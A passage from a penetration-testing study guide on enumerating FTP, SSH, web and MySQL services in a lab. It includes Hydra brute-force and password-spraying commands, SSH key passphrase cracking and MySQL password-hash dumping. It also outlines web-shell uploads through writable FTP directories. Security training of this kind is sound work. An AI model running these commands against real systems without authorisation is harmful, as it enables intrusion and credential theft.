- **Anonymous access** - Common misconfiguration

Why FTP Matters for Penetration Testing:

- Anonymous login often enabled (no credentials needed)
- May contain sensitive files (backups, configs, source code)
- Credentials valid for other services (credential reuse)
- Version-specific exploits exist (vsftpd backdoor, ProFTPD vulnerabilities)
- Writable directories enable malicious file uploads

4.3.2 FTP Versions and Security

FTP Software	Common Vulnerabilities	Check For
vsftpd 2.3.4	Backdoor (smiley face backdoor)	Remote code execution
ProFTPD 1.3.3c	mod_copy vulnerability	Arbitrary file copy
Pure-FTPd	Various buffer overflows	Version-specific exploits
FileZilla Server	Weak authentication	Default credentials

4.3.3 FTP Enumeration with Nmap

Start with Nmap to identify FTP version and test for anonymous access.

Nmap FTP Enumeration

```
# Basic FTP version detection
nmap -p 21 -sV 192.168.1.10

# Test for anonymous FTP login
nmap -p 21 --script ftp-anon 192.168.1.10

# Check for FTP bounce attack
nmap -p 21 --script ftp-bounce 192.168.1.10

# Comprehensive FTP enumeration
nmap -p 21 --script ftp-* 192.168.1.10

# Brute force FTP credentials (use carefully)
nmap -p 21 --script ftp-brute --script-args userdb=users.txt,passdb=
    passwords.txt 192.168.1.10
```

Terminal Output - Nmap FTP Anonymous Detection

```
$ nmap -p 21 --script ftp-anon 192.168.1.10

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1000     1000         8192 Dec 15 10:23 backup.zip
| drwxr-xr-x    2 1000     1000         4096 Dec 15 09:15 uploads
|_drwxrwxrwx    2 1000     1000         4096 Dec 15 08:45 public
```

Anonymous FTP Analysis

Critical Finding: Anonymous FTP login allowed!
File Permissions Revealed:

- **-rw-r–r–** (644) - backup.zip is readable (download this!)
- **drwxr-xr-x** (755) - uploads directory is readable
- **drwxrwxrwx** (777) - public directory is WRITABLE by anyone!

Attack Opportunities:

1. Download backup.zip (may contain credentials)
2. Upload malicious files to public directory
3. Check if web server reads from public directory (RCE potential)

4.3.4 Manual FTP Enumeration

Testing Anonymous Login

Anonymous FTP Access

```
# Connect to FTP server
ftp 192.168.1.10

# When prompted:
# Username: anonymous
# Password: (press Enter or use anonymous@domain.com)

# Alternative: Connect directly
ftp anonymous@192.168.1.10
```

Terminal Output - Successful Anonymous Login

```
$ ftp 192.168.1.10

Connected to 192.168.1.10.
220 (vsFTPd 3.0.3)
Name (192.168.1.10:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

FTP Commands for Enumeration

Essential FTP Commands

```
# Once connected to FTP:

ftp> ls                    # List files in current directory
ftp> ls -la                # List with hidden files and permissions
ftp> pwd                   # Print working directory
ftp> cd directory          # Change directory
ftp> get filename          # Download single file
ftp> mget *                # Download all files (will prompt for each)
ftp> put localfile         # Upload file
ftp> mput *                # Upload multiple files
ftp> mkdir newdir          # Create directory
ftp> delete filename       # Delete file
ftp> binary                # Set binary transfer mode (for binaries)
ftp> ascii                 # Set ASCII mode (for text files)
ftp> passive               # Toggle passive mode
ftp> status                # Show connection status
ftp> system                # Show remote system type
ftp> quit                  # Exit FTP session
```

Terminal Output - FTP Directory Listing

```
ftp> ls -la

drwxr-xr-x    4 1000     1000         4096 Dec 15 10:23 .
drwxr-xr-x    3 0        0            4096 Dec 10 08:00 ..
-rw-r--r--    1 1000     1000         8192 Dec 15 10:23 backup.zip
-rw-r--r--    1 1000     1000          512 Dec 15 09:30 config.txt
drwxr-xr-x    2 1000     1000         4096 Dec 15 09:15 uploads
drwxrwxrwx    2 1000     1000         4096 Dec 15 08:45 public
-rw-------    1 1000     1000         1024 Dec 14 14:20 .ssh_keys
```

High-Value FTP Files

Configuration Files:

- config.txt, .conf, settings.ini, web.config
- Often contain database credentials, API keys

Backup Files:

- .zip, .tar.gz, .bak, .sql, .old
- May contain complete application backups

Hidden Files (start with .):

- .ssh_keys, .bash_history, .mysql_history
- Can reveal SSH keys or command history

Source Code:

- .php, .asp, .jsp, .py files
- May contain hardcoded credentials

Database Dumps:

- .sql, .db, .sqlite files
- Direct access to database contents

Downloading Files from FTP

File Download Techniques

```
# Download single file
ftp> get backup.zip

# Download multiple files (prompts for each)
ftp> mget *.txt

# Download all files without prompting
ftp> prompt off
ftp> mget *

# Download recursively (requires special FTP client)
# Exit standard ftp, use wget instead:
wget -r ftp://anonymous:anonymous@192.168.1.10/

# Or use lftp (better for recursive downloads)
lftp -e 'mirror ; quit' ftp://anonymous@192.168.1.10
```

Terminal Output - File Download Output

```
ftp> get backup.zip
local: backup.zip remote: backup.zip
227 Entering Passive Mode (192,168,1,10,195,149).
150 Opening BINARY mode data connection for backup.zip (8192 bytes).
226 Transfer complete.
8192 bytes received in 0.05 secs (163.84 KB/s)
```

4.3.5 Testing FTP Write Access

Writable FTP directories can be exploited for malicious file uploads.

Testing FTP Upload

```
# Create test file locally
echo "test" > test.txt

# Connect and upload
ftp> cd public
ftp> put test.txt

# Verify upload
ftp> ls
```

Terminal Output - Successful Upload

```
ftp> put test.txt
local: test.txt remote: test.txt
227 Entering Passive Mode (192,168,1,10,195,150).
150 Ok to send data.
226 Transfer complete.
5 bytes sent in 0.00 secs (50.00 KB/s)
```

Exploiting Writable FTP Directories

If Upload Succeeds:
Scenario 1: FTP Directory = Web Directory

1. Upload PHP web shell: `shell.php`
2. Access via browser: `http://192.168.1.10/public/shell.php`
3. Execute commands through web shell (Remote Code Execution!)

Scenario 2: FTP Directory = Application Read Location

1. Upload malicious config file
2. Application reads it and executes code
3. Gain unauthorized access

Scenario 3: Social Engineering

1. Upload malicious executable
2. Wait for administrator to download/execute
3. Compromise their system

IMPORTANT: Always get authorization before uploading files!

4.3.6 FTP Banner Grabbing

Banner grabbing reveals FTP server version for vulnerability research.

FTP Banner Grabbing

```
# Using Netcat
nc -nv 192.168.1.10 21

# Using Telnet
telnet 192.168.1.10 21

# Using Nmap
nmap -p 21 -sV --script banner 192.168.1.10

# Using ftp (automatic on connect)
ftp 192.168.1.10
```

Terminal Output - FTP Banner

```
$ nc -nv 192.168.1.10 21

(UNKNOWN) [192.168.1.10] 21 (ftp) open
220 (vsFTPd 2.3.4)
```

Exploiting Known FTP Vulnerabilities

vsFTPd 2.3.4 - Backdoor Vulnerability

- CVE-2011-2523
- Backdoor triggered by username with :) smiley
- Opens shell on port 6200
- Metasploit module: `exploit/unix/ftp/vsftpd_234_backdoor`

ProFTPD 1.3.3c - mod_copy Vulnerability

- Allows unauthenticated file copying
- Copy sensitive files to public directories
- Read /etc/passwd, SSH keys, etc.

Next Step: Search for exploits

```
searchsploit vsftpd 2.3.4
searchsploit proftpd 1.3.3c
```

4.3.7 Automated FTP Enumeration Tools

Using Hydra for FTP Brute Force

FTP Password Attack with Hydra

```
# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.10

# Username list, password list
hydra -L users.txt -P passwords.txt ftp://192.168.1.10

# Single password for multiple users (password spraying)
hydra -L users.txt -p Password123 ftp://192.168.1.10

# Limit attempts to avoid detection
hydra -l admin -P passwords.txt -t 4 ftp://192.168.1.10
```

Terminal Output - Hydra Successful Crack

```
$ hydra -l admin -P passwords.txt ftp://192.168.1.10

[21][ftp] host: 192.168.1.10   login: admin   password: admin123
1 of 1 target successfully completed, 1 valid password found
```

4.3.8 FTP Enumeration Workflow

Complete FTP Enumeration Process

Step 1: Version Detection

```
nmap -p 21 -sV 192.168.1.10
```

Step 2: Test Anonymous Login

```
nmap -p 21 --script ftp-anon 192.168.1.10
ftp anonymous@192.168.1.10
```

Step 3: Browse and Download Files

```
ftp> ls -la
ftp> get backup.zip
wget -r ftp://anonymous:@192.168.1.10/
```

Step 4: Test Write Access

```
ftp> put test.txt
```

Step 5: Search for Exploits

```
searchsploit vsftpd
searchsploit proftpd
```

Step 6: Credential Testing

```
# Try common credentials first
# Username: admin, ftp, ftpuser
# Password: admin, password, ftp

# If that fails, brute force
hydra -L users.txt -P passwords.txt ftp://192.168.1.10
```

4.3.9 FTP Enumeration Cheat Sheet

Quick Reference Commands

```
# === DETECTION === #
nmap -p 21 -sV TARGET

# === ANONYMOUS LOGIN TEST === #
nmap -p 21 --script ftp-anon TARGET
ftp anonymous@TARGET

# === BANNER GRABBING === #
nc -nv TARGET 21

# === RECURSIVE DOWNLOAD === #
wget -r ftp://anonymous:@TARGET/
lftp -e 'mirror ; quit' ftp://anonymous@TARGET

# === WRITE TEST === #
echo "test" > test.txt
ftp> put test.txt

# === VULNERABILITY SCAN === #
nmap -p 21 --script ftp-* TARGET
searchsploit [ftp_version]

# === BRUTE FORCE === #
hydra -l admin -P passwords.txt ftp://TARGET
hydra -L users.txt -p Password123 ftp://TARGET
```

4.4 SSH Enumeration

4.4.1 Understanding SSH (Secure Shell)

SSH is a cryptographic network protocol for secure remote access to systems. Unlike FTP and Telnet, SSH encrypts all traffic, making it the standard for remote administration.

Key Characteristics:

- **Port 22** - Default SSH port (can be changed)
- **Encrypted communication** - All traffic is secure
- **Authentication methods** - Password, public key, or both
- **Version 1 vs 2** - SSHv1 is deprecated and vulnerable
- **Banner information** - Reveals OS and SSH version

Why SSH Matters for Penetration Testing:

- Provides direct shell access to the system
- Weak passwords are common (brute force target)
- SSH keys may be compromised or misconfigured
- Version-specific vulnerabilities exist
- Username enumeration possible on older versions
- Successful access = full system compromise

4.4.2 SSH Versions and Security

Version	Security Notes	Status
SSH-1.x	Multiple vulnerabilities, weak crypto	DEPRECATED
SSH-2.x	Modern encryption, secure	RECOMMENDED
OpenSSH < 7.4	User enumeration vulnerability	VULNERABLE
OpenSSH < 7.7	Username enumeration via timing	VULNERABLE

SSH Version 1 Warning

If SSHv1 is detected:

- System is severely outdated
- Multiple known vulnerabilities exist
- Man-in-the-middle attacks possible
- This is a CRITICAL security finding

4.4.3 SSH Enumeration with Nmap

Nmap SSH Enumeration

```
# Basic SSH version detection
nmap -p 22 -sV 192.168.1.10

# Detect SSH host key
nmap -p 22 --script ssh-hostkey 192.168.1.10

# Enumerate SSH authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root"
    192.168.1.10

# Check supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.10

# SSH user enumeration (OpenSSH < 7.7)
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root"
    192.168.1.10

# Comprehensive SSH scan
nmap -p 22 --script ssh-* 192.168.1.10
```

Terminal Output - Nmap SSH Version Detection

```
$ nmap -p 22 -sV 192.168.1.10

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
```

SSH Banner Analysis

Information Extracted:

- **OpenSSH 7.4p1** - SSH server software and version
- **Debian 10+deb9u6** - Operating system (Debian 9 "Stretch")
- **protocol 2.0** - SSH version 2 (good, not vulnerable SSHv1)

Security Assessment:

- OpenSSH 7.4 < 7.7 = Vulnerable to username enumeration
- Debian 9 = Older OS version, may have other vulnerabilities
- Check CVE databases for OpenSSH 7.4 exploits

Next Steps:

1. Test for username enumeration vulnerability
2. Enumerate valid usernames
3. Attempt password attacks on discovered users
4. Search for OpenSSH 7.4 exploits

4.4.4 SSH Banner Grabbing

SSH Banner Grabbing Techniques

```
# Using Netcat
nc -nv 192.168.1.10 22

# Using Telnet
telnet 192.168.1.10 22

# Using SSH client (automatic)
ssh 192.168.1.10

# Using Nmap
nmap -p 22 -sV --script banner 192.168.1.10

# Using custom script
echo "exit" | ssh -v 192.168.1.10 2>&1 | grep "remote software version"
```

Terminal Output - SSH Banner Output

```
$ nc -nv 192.168.1.10 22

(UNKNOWN) [192.168.1.10] 22 (ssh) open
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6
```

4.4.5 SSH Authentication Methods Enumeration

Different authentication methods provide different attack opportunities.

Enumerate SSH Auth Methods

```
# Check authentication methods for specific user
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root"
    192.168.1.10
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=admin"
    192.168.1.10

# Manual check using SSH client
ssh -v root@192.168.1.10
```

Terminal Output - SSH Auth Methods Output

```
$ nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root"
    192.168.1.10

PORT   STATE SERVICE
22/tcp open  ssh
| ssh-auth-methods:
|   Supported authentication methods:
|     publickey
|_    password
```

SSH Authentication Method Analysis

Authentication Methods:

- **password** - Traditional password authentication (brute force target)
- **publickey** - SSH key authentication (requires private key)
- **keyboard-interactive** - Similar to password, may allow multiple attempts
- **gssapi-with-mic** - Kerberos authentication (domain environments)

Attack Strategy:

- If **password** enabled: Brute force attack possible
- If **publickey only**: Need to find/steal SSH private keys
- If **both** enabled: Try password attacks first (easier)

4.4.6 SSH User Enumeration

Older OpenSSH versions (< 7.7) are vulnerable to username enumeration through timing attacks.

User Enum with ssh-username-enum

OpenSSH User Enumeration

```
# Using Metasploit auxiliary module
msfconsole
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.10
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
run

# Using custom Python script (if available)
python ssh-user-enum.py --target 192.168.1.10 --userList users.txt

# Manual timing-based enumeration
# Valid usernames take longer to reject
time ssh invalid_user@192.168.1.10
time ssh root@192.168.1.10
```

Terminal Output - SSH User Enumeration Output

```
$ use auxiliary/scanner/ssh/ssh_enumusers

[+] 192.168.1.10:22 - SSH - User 'root' found
[+] 192.168.1.10:22 - SSH - User 'admin' found
[+] 192.168.1.10:22 - SSH - User 'john' found
[*] Scanned 1 of 1 hosts (100% complete)
```

SSH Username Enumeration Techniques

Method 1: Timing Attack (OpenSSH < 7.7)

- Valid usernames take longer to authenticate
- Invalid usernames fail immediately
- Measure response time differences

Method 2: Error Message Differences

- Some SSH servers return different errors
- "Invalid user" vs "Permission denied"
- Not reliable on modern systems

Method 3: Metasploit Module (Most Reliable)

- Automated username enumeration
- Works on vulnerable OpenSSH versions
- Requires wordlist of potential usernames

Common SSH Usernames to Test:

- root, admin, administrator
- user, test, guest
- ubuntu, debian, centos (OS defaults)
- Service accounts: mysql, apache, postgres

4.4.7 SSH Algorithm Enumeration

Understanding supported algorithms helps identify weak configurations.

Enumerate SSH Algorithms

```
# Using Nmap
nmap -p 22 --script ssh2-enum-algos 192.168.1.10

# Using ssh client verbose mode
ssh -vv 192.168.1.10 2>&1 | grep "kex_algorithms\|
    server_host_key_algorithms\|ciphers"

# Using ssh-audit tool
ssh-audit 192.168.1.10
```

Terminal Output - SSH Algorithm Output

```
$ nmap -p 22 --script ssh2-enum-algos 192.168.1.10

PORT   STATE SERVICE
22/tcp open  ssh
| ssh2-enum-algos:
|   kex_algorithms: (6)
|       curve25519-sha256@libssh.org
|       diffie-hellman-group-exchange-sha256
|       diffie-hellman-group14-sha1 (weak)
|   encryption_algorithms: (12)
|       aes128-ctr
|       aes256-ctr
|       3des-cbc (weak)
```

SSH Algorithm Security Analysis

Weak Algorithms (Security Risk):

- **diffie-hellman-group14-sha1** - Weak key exchange
- **3des-cbc** - Weak encryption cipher
- **arcfour, rc4** - Known vulnerabilities
- **hmac-md5** - Weak message authentication

Strong Algorithms (Secure):

- **curve25519-sha256** - Modern key exchange
- **aes256-ctr, aes128-ctr** - Strong encryption
- **hmac-sha2-256** - Secure authentication

Finding Significance:

- Presence of weak algorithms = Misconfiguration
- May allow downgrade attacks
- Should be reported in assessment
- Not directly exploitable but weakens security

4.4.8 SSH Password Attacks

Once usernames are identified, password attacks are the primary exploitation method.

Testing Common Default Credentials

Testing Default SSH Credentials

```
# Manual testing
ssh root@192.168.1.10
# Try: root, toor, password, admin

ssh admin@192.168.1.10
# Try: admin, password, Password123

ssh ubuntu@192.168.1.10
# Try: ubuntu, password

# Automated with Hydra (single credential)
hydra -l root -p toor ssh://192.168.1.10
```

SSH Brute Force with Hydra

Hydra SSH Password Attacks

```
# Single user, password list
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10

# User list, password list
hydra -L users.txt -P passwords.txt ssh://192.168.1.10

# Password spraying (one password, multiple users)
hydra -L users.txt -p Password123 ssh://192.168.1.10

# Limit connection speed (stealth)
hydra -l root -P passwords.txt -t 4 ssh://192.168.1.10

# With specific port
hydra -l admin -P passwords.txt ssh://192.168.1.10:2222
```

Terminal Output - Hydra SSH Success

```
$ hydra -l admin -P passwords.txt ssh://192.168.1.10

[22][ssh] host: 192.168.1.10   login: admin   password: admin123
1 of 1 target successfully completed, 1 valid password found
```

SSH Brute Force Considerations

Detection Risks:

- SSH logs all authentication attempts
- Failed logins trigger IDS/IPS alerts
- Account lockouts may occur
- System administrators are notified

Best Practices:

- Use password spraying (1 password, many users) instead of brute force
- Limit connection attempts with -t flag
- Test common passwords first before full wordlist
- Check for account lockout policy before attacking

4.4.9 SSH Key-Based Authentication

If password authentication is disabled or you find SSH keys, key-based authentication is the path forward.

Using SSH Private Keys

```
# Connect with private key
ssh -i private_key.pem user@192.168.1.10

# If key has wrong permissions
chmod 600 private_key.pem
ssh -i private_key.pem user@192.168.1.10

# If key is password-protected, crack it
python /usr/share/john/ssh2john.py private_key.pem > key_hash.txt
john key_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Where to Find SSH Keys

Common Locations:

- FTP shares (found during FTP enumeration)
- SMB shares (/.ssh/ directory in user folders)
- Web directories (misconfigured web servers)
- Backup files (backup.tar.gz containing .ssh folder)
- Git repositories (.ssh keys accidentally committed)

Key Files:

- **id_rsa** - Private key (NEVER share)
- **id_rsa.pub** - Public key
- **authorized_keys** - List of allowed public keys

4.4.10 SSH Enumeration Workflow

Complete SSH Enumeration Process

Step 1: Version Detection

```
nmap -p 22 -sV 192.168.1.10
nc -nv 192.168.1.10 22
```

Step 2: Authentication Methods

```
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root"
    192.168.1.10
```

Step 3: Username Enumeration (if vulnerable)

```
# Metasploit
use auxiliary/scanner/ssh/ssh_enumusers
```

Step 4: Test Default Credentials

```
ssh root@192.168.1.10     # Try: root, toor, password
ssh admin@192.168.1.10    # Try: admin, password
```

Step 5: Password Spraying

```
hydra -L users.txt -p Password123 ssh://192.168.1.10
```

Step 6: Check for Vulnerabilities

```
searchsploit openssh 7.4
```

4.4.11 SSH Enumeration Cheat Sheet

Quick Reference Commands

```
# === DETECTION === #
nmap -p 22 -sV TARGET

# === BANNER GRABBING === #
nc -nv TARGET 22

# === AUTH METHODS === #
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" TARGET

# === USER ENUMERATION === #
msfconsole
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS TARGET
run

# === DEFAULT CREDENTIALS === #
ssh root@TARGET     # Try: root, toor, password
ssh admin@TARGET    # Try: admin, password

# === PASSWORD SPRAYING === #
hydra -L users.txt -p Password123 ssh://TARGET

# === BRUTE FORCE === #
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET

# === SSH KEY LOGIN === #
chmod 600 key.pem
ssh -i key.pem user@TARGET

# === VULNERABILITY CHECK === #
searchsploit openssh [version]
```

4.5 HTTP/HTTPS Enumeration

4.5.1 Understanding Web Services

HTTP (Hypertext Transfer Protocol) and HTTPS (HTTP Secure) are the foundation of web applications. Web servers are one of the most common attack surfaces in penetration testing.

Common Ports:

- **Port 80** - HTTP (unencrypted)
- **Port 443** - HTTPS (encrypted with SSL/TLS)
- **Port 8080, 8000, 8888** - Alternative HTTP ports

Why Web Enumeration Matters:

- Hidden directories may contain admin panels
- Backup files reveal source code and credentials
- Default pages indicate software versions
- Vulnerable web applications provide entry points
- Configuration files expose sensitive information

4.5.2 Web Technology Identification

Banner Grabbing and Headers

HTTP Header Analysis

```
# Using curl
curl -I http://192.168.1.10

# Using Netcat
nc 192.168.1.10 80
HEAD / HTTP/1.0

# Using Nmap
nmap -p 80 --script http-headers 192.168.1.10

# Using whatweb (detailed)
whatweb http://192.168.1.10
```

Terminal Output - HTTP Headers Output

```
$ curl -I http://192.168.1.10

HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
X-Powered-By: PHP/7.2.24
Content-Type: text/html; charset=UTF-8
```

Web Technology Analysis

Key Headers:

- **Server:** Apache/2.4.29 → Web server software
- **X-Powered-By:** PHP/7.2.24 → Backend language
- **X-AspNet-Version:** → .NET framework version
- **Set-Cookie:** PHPSESSID → PHP application

Security Issues:

- Version disclosure allows targeted exploits
- Should be hidden in production
- Check CVE databases for known vulnerabilities

Web Technology Scanner

Using Whatweb

```
# Basic scan
whatweb http://192.168.1.10

# Verbose output
whatweb -v http://192.168.1.10

# Aggressive scan (more intrusive)
whatweb -a 3 http://192.168.1.10
```

4.5.3 Directory and File Enumeration

Finding hidden directories and files is crucial for discovering attack vectors.

Directory Brute Forcing with Gobuster

Gobuster Usage

```
# Basic directory scan
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.
    txt

# With file extensions
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.
    txt -x php,html,txt

# Ignore specific status codes
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.
    txt -b 404,403

# Verbose output with full URLs
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.
    txt -e

# With custom User-Agent
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.
    txt -a "Mozilla/5.0"
```

Terminal Output - Gobuster Results

```
$ gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.
    txt

/admin                (Status: 301) [Size: 312] [--> http://192.168.1.10/
    admin/]
/backup               (Status: 200) [Size: 1024]
/uploads              (Status: 301) [Size: 314] [--> http://192.168.1.10/
    uploads/]
/config.php           (Status: 200) [Size: 0]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://192.168.1.10/
    phpmyadmin/]
```

Interpreting Gobuster Results

HTTP Status Codes:

- **200 OK** - Page exists and is accessible
- **301 Moved** - Directory exists (follow redirect)
- **302 Found** - Temporary redirect (check destination)
- **401 Unauthorized** - Authentication required
- **403 Forbidden** - Exists but access denied
- **404 Not Found** - Page doesn't exist

High-Value Findings:

- /admin - Admin panel (try default credentials)
- /backup - May contain source code, databases
- /uploads - File upload functionality (test for RCE)
- /phpmyadmin - Database management (default: root/blank)
- config.php - Configuration file (may be readable)

Alternative Tools: Dirb and Dirbuster

Using Dirb

```
# Basic scan
dirb http://192.168.1.10

# Custom wordlist
dirb http://192.168.1.10 /usr/share/wordlists/dirb/big.txt

# With file extensions
dirb http://192.168.1.10 /usr/share/wordlists/dirb/common.txt -X .php,.
    txt,.html
```

Wordlist Recommendations

Fast Scans (< 5 minutes):

- /usr/share/wordlists/dirb/common.txt
- /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Comprehensive Scans (15-30 minutes):

- /usr/share/wordlists/dirb/big.txt
- /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

For eJPTv2 Exam:

- Start with common.txt (faster)
- Run big.txt in background if time permits

4.5.4 Nikto Web Vulnerability Scanner

Nikto is an automated web server scanner that checks for thousands of known vulnerabilities.

Nikto Usage

```
# Basic scan
nikto -h http://192.168.1.10

# Save output to file
nikto -h http://192.168.1.10 -o nikto_results.txt

# Scan specific port
nikto -h http://192.168.1.10 -p 8080

# HTTPS scan
nikto -h https://192.168.1.10
```

Terminal Output - Nikto Sample Output

```
$ nikto -h http://192.168.1.10

- Nikto v2.1.6
+ Target IP:          192.168.1.10
+ Target Hostname:    192.168.1.10
+ Target Port:        80
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined.
+ Server may leak inodes via ETags, header found with file /, inode: 2aa6
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ /admin/: Directory indexing found.
+ /config.php: PHP Config file may contain database credentials.
+ /backup/: Backup directory found. May contain sensitive files.
```

Nikto Finding Analysis

Critical Findings:

- **Directory indexing** - Can browse folder contents
- **Config files accessible** - May contain credentials
- **Backup directories** - Download and analyze
- **Allowed HTTP Methods** - Check for PUT, DELETE

Informational Findings:

- Missing security headers (low priority)
- Server version disclosure
- Outdated software versions

4.5.5 Manual Web Enumeration

Robots.txt and Sitemap.xml

Check Standard Files

```
# Check robots.txt
curl http://192.168.1.10/robots.txt

# Check sitemap
curl http://192.168.1.10/sitemap.xml

# Check common files
curl http://192.168.1.10/README.txt
curl http://192.168.1.10/CHANGELOG.txt
```

Terminal Output - robots.txt Example

```
$ curl http://192.168.1.10/robots.txt

User-agent: *
Disallow: /admin/
Disallow: /backup/
Disallow: /private/
Disallow: /temp/
```

robots.txt Analysis

Purpose:

- Tells search engines which pages NOT to index
- Often reveals hidden directories
- Ironically exposes sensitive locations

Next Steps:

1. Visit each Disallow directory
2. Check if they're actually protected
3. Often accessible despite robots.txt entry

Finding Backup and Config Files

Common Backup File Patterns

```
# Check for backup files
curl http://192.168.1.10/index.php.bak
curl http://192.168.1.10/config.php.old
curl http://192.168.1.10/backup.zip
curl http://192.168.1.10/database.sql
curl http://192.168.1.10/db_backup.sql

# Check for editor temp files
curl http://192.168.1.10/.index.php.swp
curl http://192.168.1.10/index.php~

# Using Gobuster with common extensions
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.
    txt -x bak,old,zip,sql,swp,txt
```

4.5.6 Web Enumeration Workflow

Complete HTTP/HTTPS Enumeration Process

Step 1: Technology Identification

```
curl -I http://192.168.1.10
whatweb http://192.168.1.10
```

Step 2: Nikto Vulnerability Scan

```
nikto -h http://192.168.1.10 -o nikto.txt
```

Step 3: Directory Enumeration

```
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.
    txt -x php,txt,html
```

Step 4: Manual Checks

```
curl http://192.168.1.10/robots.txt
curl http://192.168.1.10/sitemap.xml
```

Step 5: Browse Discovered Directories

- Visit /admin, /backup, /uploads
- Test default credentials
- Download accessible files

4.5.7 HTTP/HTTPS Enumeration Cheat Sheet

Quick Reference Commands

```
# === TECHNOLOGY DETECTION === #
curl -I http://TARGET
whatweb http://TARGET

# === VULNERABILITY SCAN === #
nikto -h http://TARGET

# === DIRECTORY BRUTE FORCE === #
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x
    php,txt,html

# === ALTERNATIVE TOOLS === #
dirb http://TARGET
dirb http://TARGET /usr/share/wordlists/dirb/big.txt

# === MANUAL CHECKS === #
curl http://TARGET/robots.txt
curl http://TARGET/sitemap.xml
curl http://TARGET/admin
curl http://TARGET/backup.zip

# === BACKUP FILE SEARCH === #
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x
    bak,old,zip,sql

# === NMAP WEB SCRIPTS === #
nmap -p 80 --script http-enum TARGET
nmap -p 80 --script http-headers TARGET
```

4.6 MYSQL Enumeration

4.6.1 Understanding MySQL

MySQL is one of the most popular relational database management systems. Compromising a database often provides direct access to sensitive data and application credentials.

Default Port:

- **Port 3306** - MySQL default

Why MySQL Enumeration Matters:

- Contains application data (users, passwords, emails)
- May have weak or default credentials
- Can execute system commands if configured
- User password hashes can be cracked
- File read/write capabilities for exploitation

4.6.2 MySQL Version Detection

MySQL Enumeration with Nmap

```
# Version detection
nmap -p 3306 -sV 192.168.1.10

# MySQL info script
nmap -p 3306 --script mysql-info 192.168.1.10

# MySQL enumeration scripts
nmap -p 3306 --script mysql-* 192.168.1.10

# Check for empty password
nmap -p 3306 --script mysql-empty-password 192.168.1.10

# Enumerate databases
nmap -p 3306 --script mysql-databases --script-args mysqluser=root,
    mysqlpass=root 192.168.1.10
```

Terminal Output - Nmap MySQL Detection

```
$ nmap -p 3306 --script mysql-info 192.168.1.10

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-info:
|   Protocol: 10
|   Version: 5.7.32-0ubuntu0.16.04.1
|   Thread ID: 8
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, LongColumnFlag
|   Status: Autocommit
|_  Salt: \x1A3\x0B\x7F\x19\x01\x15
```

4.6.3 MySQL Login Testing

Default Credentials

Testing MySQL Default Credentials

```
# Try connecting with default credentials
mysql -h 192.168.1.10 -u root
mysql -h 192.168.1.10 -u root -p
# (Press Enter for blank password)

# Common default credentials
mysql -h 192.168.1.10 -u root -proot
mysql -h 192.168.1.10 -u root -ppassword
mysql -h 192.168.1.10 -u admin -padmin

# Test for anonymous login
mysql -h 192.168.1.10 -u ''
```

Terminal Output - Successful MySQL Connection

```
$ mysql -h 192.168.1.10 -u root -p

Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.32-0ubuntu0.16.04.1 (Ubuntu)

mysql>
```

4.6.4 MySQL Enumeration Commands

Once connected, extract valuable information from the database.

Basic MySQL Enumeration

```
# Show all databases
mysql> SHOW DATABASES;

# Select specific database
mysql> USE database_name;

# Show tables in current database
mysql> SHOW TABLES;

# Show table structure
mysql> DESCRIBE table_name;

# Query data
mysql> SELECT * FROM users;

# Show current user and privileges
mysql> SELECT user();
mysql> SELECT current_user();
mysql> SHOW GRANTS;

# Show all MySQL users
mysql> SELECT user, host FROM mysql.user;

# Show user password hashes
mysql> SELECT user, authentication_string FROM mysql.user;
```

Terminal Output - MySQL Database Listing

```
mysql> SHOW DATABASES;

+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| webapp_db          |
| wordpress          |
+--------------------+
5 rows in set (0.00 sec)
```

High-Value MySQL Databases

System Databases:

- **mysql** - User accounts, privileges, password hashes
- **information_schema** - Database metadata

Application Databases:

- **wordpress, wp_*** - WordPress sites
- **drupal** - Drupal CMS
- **webapp_db, app_*** - Custom applications
